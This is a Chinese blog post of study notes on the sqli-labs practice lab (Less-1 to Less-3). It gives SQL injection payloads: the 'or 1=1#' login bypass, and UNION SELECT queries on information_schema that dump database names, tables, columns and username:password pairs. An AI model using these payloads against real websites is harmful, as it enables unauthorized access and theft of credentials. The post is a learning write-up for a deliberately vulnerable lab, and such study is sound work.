sql-labs学习

前言:

年前学习过sql的知识,现在忘得差不多了,趁这个机会赶紧在复习一下。

1 万能密码

在mysql里面

-- 
#

他们都代表注释

我们在登陆框内输入账号密码,服务器会在数据库内进行查询,大概是这样

select * FROM user WHERE username= '111' AND password= '222'

假如我们在登录框内的username填写

1' or 1=1#

效果是这样

SELECT * FROM user WHERE username= '1' or 1=1#' AND password= '222' 

密码的部分直接被注释了,并且会有一个or的判断,这样就可以绕过了。

2 常用语句

在此之前,我们要知道在MySQL中有information_schema这个库,该库存放了所有数据库的信息。
information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名
group_concat()函数功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

查询的目的是让我们排除其他无用的信息,筛选有用的信息。

1 information_schema (元数据库,存储数据库相关信息的数据库)

SELECT schema_name FROM information_schema.schemata

我们可以查询所有数据库的name

SELECT table_name from information_schema.tables where table_schema= 'security'

这个命令比较绕口,就是从information_schema数据库中的tables表里查询 table_schema这个列中名字的是security行相对应的table_name的行名。

 接下来我们更进一步

select colum_name from information_schema.columns where 
table_schema= 'security' and table_name= 'emails'

有了第一次,第二次就容易理解了。

这是我们查询出来的的内容,我们可以进一步查询该数据库中的内容

比如

select * from emails
select id,email_id from emails

 

sql-labs(一)

一、判断注入点 

我们输入?id=1

 先判断下闭合符号,单引号报错

?id=1'
?id=1' --+

 

说明闭合符号是'

我们可以就可以进行注入了

二、判断列数

?id=1' order by 3 --+

经过测试是有3列 

我们试试联合查询

id=-1' union select 1,2,3 --+

 

这一步的目的是给数据库一个不存在的id,然后看出我们输入的数据在哪里显示出来

这样一来,我们就可以在2,3处显示自己想要的内容了。

三、爆数据库

?id=-1' union select 1,database(),3 --+

database()函数能够获知当前数据库。

 四、爆数据表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

 五、爆字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='users' --+

 六、爆值

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users -- +

 其中的0x3a是16进制中的:,目的是便于我们观察

sql-labs(二)

一  判断注入类型

1' and '1'='1	
1 and 1=1			

看页面回显位的反馈,如果一致,则是字符注入,否则就是数字注入。

 

所以less02是数字型注入 ,就不用了再添加闭合符号了

其他步骤跟第一关一样,所以我们直接获取账号密码

?id=-1 union SELECT 1,2,(select group_concat(username,0x3a,password) from users)

 

 sql-labs(三)

首先看一下注入类型

 是字符注入

先试一下闭合符号

?id=1'

所以闭合符号是

')

 其他的步骤一样的,直接上代码了就

?id= -1') union select 1,2,group_concat(username,0x3a,password) from users -- +

 

 

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值